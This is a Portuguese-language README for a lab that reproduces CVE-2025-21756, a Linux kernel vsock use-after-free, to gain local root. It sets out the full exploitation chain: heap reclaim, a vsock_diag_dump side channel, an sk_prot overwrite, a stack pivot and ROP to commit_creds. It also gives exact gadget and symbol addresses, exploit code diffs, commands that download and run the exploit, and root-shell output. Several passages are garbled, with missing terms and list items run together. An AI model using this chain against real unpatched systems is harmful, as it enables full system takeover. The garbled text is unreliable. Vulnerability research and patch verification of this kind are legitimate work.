
CVE-2025-21756: Ataque do Vsock
Apenas para fins educacionais e de pesquisa de segurança autorizada.
CVE-2025-21756 é uma vulnerabilidade use-after-free (UAF) no subsistema vsock (Virtual Socket) do kernel Linux, divulgada em 26 de fevereiro de 2025. Ela permite que um atacante local escalone privilégios para root em sistemas Linux afetados.
net/vmw_vsock/af_vsock.cO bug ocorre durante a reatribuição de transporte de um socket vsock. A sequência vulnerável é:
vsock_create() cria o socket com refcnt=2 e o insere na lista não vinculadatransport->release() chama vsock_remove_bound() sem verificar se o socket foi movido para a lista vinculada, decrementando incorretamente refcntvsock_bind() assume que o socket ainda está na lista não vinculada e chama _vsock_remove_bound() novamenterefcnt chega a 0 prematuramente → o objeto vsock é liberado enquanto ainda referenciado → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect() com CIDs que produzem transportes diferentes fazem com que o objeto vsock seja liberado prematuramente enquanto ainda está ligado em vsock_bind_tableunix_dgram_sendmsg com mensagens de ordem 2 (MIGRATE_UNMOVABLE), preenchendo-a com dados controladosvsock_diag_dump (não protegido por AppArmor) é usado como canal lateral para detectar quando a página foi recuperada e localizar o offset exato do objeto vítima dentro da páginask->sk_prot é sobrescrito para apontar para udp_prot+0x1c0 (udp_abort), que quando chamado invoca sk->sk_error_report(sk), cujo ponteiro é sobrescrito com um gadget de pivô de pilhacommit_creds(init_cred) é executado para atribuir credenciais root ao processo, seguido pelo trampolim KPTI para retornar ao espaço do usuáriosudo# Baixe o script de configuração
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# Execute como usuário normal (não como root)
./setup-lab.sh
O script lida automaticamente com:
sudo se não estiver disponívelbuild-essential, qemu-system-x86, bc, pahole, etc.)lts-6.6.75, rootfs, ramdisk)run_lab.sh como ponto de entrada únicocd ~/cve-2025-21756-lab
./run_lab.sh
Assim que o ambiente inicializar, execute o seguinte dentro dele:
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
Para sair: Ctrl-A X
O exploit base é de ktranowl. As seguintes modificações foram aplicadas para funcionar neste ambiente:
Modificação: nokaslr adicionado aos parâmetros de inicialização do kernel.
Motivo: O exploit original contorna o KASLR usando EntryBleed, uma técnica de canal lateral baseada em temporização TLB que requer precisão de temporização da CPU. Em um ambiente de virtualização aninhada, a precisão do rdtsc é insuficiente para que o EntryBleed funcione de forma confiável, produzindo um kbase incorreto que faz com que todos os endereços calculados com ADDRESS() estejam errados. Desabilitar o KASLR garante que o kernel sempre carregue em 0xffffffff81000000 e que os offsets fixos no exploit estejam sempre corretos.
user_rip alterado de modeprobe_exec para check_rootModificação em exploit.c:
// Antes
uint64_t user_rip = (uint64_t)modeprobe_exec;
// Depois
uint64_t user_rip = (uint64_t)check_root;
Motivo: modeprobe_exec é a técnica de escalonamento de privilégios usada no exploit original para o ambiente remoto kCTF. Ela requer argumentos de linha de comando (IP e porta de um servidor remoto) e conectividade de rede externa. Sem esses argumentos, o processo trava com GPF ao tentar ler argv[1]. check_root verifica diretamente o uid e executa /bin/sh, o que é suficiente para demonstrar a exploração em um ambiente local.
modeprobe_exec dentro de check_rootModificação em exploit.c:
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // removido
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
Motivo: Mesmo com user_rip apontando para check_root, esta função internamente chamava modeprobe_exec novamente antes de executar /bin/sh. Sem os argumentos necessários, essa chamada causava um GPF e o processo era encerrado sem abrir um shell, apesar de commit_creds já ter escalonado os privilégios com sucesso.
Durante o processo de configuração do laboratório, todos os símbolos do kernel e gadgets ROP foram verificados contra o kernel oficial lts-6.6.75 do kCTF para confirmar que eram válidos para este ambiente.
Os três gadgets usados no exploit foram extraídos do kernel oficial usando ROPgadget no binário vmlinux e confirmados como correspondendo exatamente aos valores fixos:
Nenhum deles exigiu modificação.
Os seguintes símbolos foram verificados em relação a /proc/kallsyms dentro do kernel (com nokaslr, os offsets são fixos):
Todos os valores corresponderam aos originais no exploit. Nenhuma modificação foi necessária.
address_contain_udp_abortEste valor não aponta diretamente para a função udp_abort. Ele aponta para udp_prot + 0x1c0, que é o campo diag_destroy dentro de struct proto. Isso é intencional: vsock_release chama sk->sk_prot->close(sk, 0), onde close está no offset 0 de struct proto. Ao apontar sk_prot para udp_prot->diag_destroy em vez do início de udp_prot, o kernel lê diag_destroy como se fosse o ponteiro close, que contém . Isso encadeia em → , onde o gadget de pivô de pilha é colocado.
vsock_release(sk)
└── sk->sk_prot->close(sk) ← sk_prot aponta para udp_prot+0x1c0
└── udp_abort(sk) ← campo diag_destroy, lido como close()
└── sk_error_report(sk)
└── sk->sk_error_report(sk) ← gadget de pivô de pilha
└── Cadeia ROP
└── commit_creds(init_cred)
└── kpti_trampoline → shell root
O patch oficial está disponível a partir do kernel 6.14-rc1 e foi retroportado para todos os ramos LTS mantidos. As distribuições afetadas emitiram seus próprios avisos:
Esta ferramenta é fornecida apenas para fins educacionais e teste de segurança autorizado. O uso não autorizado contra sistemas que você não possui ou sem permissão explícita por escrito para testar é ilegal. O autor não é responsável por qualquer uso indevido.
execve("/bin/sh") com uid=0| Gadget | Endereço | Propósito |
|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | Pivô de pilha — move RSP para o início do objeto vsock controlado |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | Avanço de pilha — pula campos reservados para alcançar a cadeia ROP |
pop rdi ; ret | 0xffffffff8115e4f9 | Carrega primeiro argumento para commit_creds(init_cred) |
| Símbolo | Endereço | Notas |
|---|
vsock_bind_table[0x7a] | 0xffffffff84bc6280 | Âncora do canal lateral — o slot da lista vsock onde o objeto vítima cai |
init_net | 0xffffffff84bb1f80 | Usado para validar o objeto vsock falso via vsock_diag_dump |
commit_creds | 0xffffffff811fdac0 | Atribui credenciais root ao processo atual |
init_cred | 0xffffffff83c74d80 | Estrutura de credenciais com uid=gid=0, em um offset fixo a partir da base do kernel |
kpti_trampoline | 0xffffffff826011a6 | swapgs_restore_regs_and_return_to_usermode+0x36 — restaura CR3 e retorna ao espaço do usuário |
address_contain_udp_abort | 0xffffffff83ef28e0 | udp_prot + 0x1c0 — veja nota abaixo |
udp_abortsk_error_report(sk)sk->sk_error_report(sk)| Aspecto | Original (ktranowl) | Este laboratório |
|---|
| Bypass de KASLR | EntryBleed (temporização TLB) | Desabilitado (nokaslr) |
| Técnica de escalonamento | modeprobe_exec via core_pattern | execve("/bin/sh") diretamente |
| Ambiente alvo | kCTF remoto | Local |
| Conectividade externa necessária | Sim | Não |
| Recurso | URL |
|---|
| Artigo original (Hoefler) | https://hoefler.dev/articles/vsock.html |
| Exploit de Hoefler | https://github.com/hoefler02/CVE-2025-21756 |
| Análise n-day (ktranowl) | https://hackmd.io/@ktranowl/H1XRm4zBxl |
| Exploit de ktranowl | https://github.com/khoatran107/cve-2025-21756 |
| Patch oficial | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-21756 |
| Regras do kCTF | https://google.github.io/security-research/kernelctf/rules.html |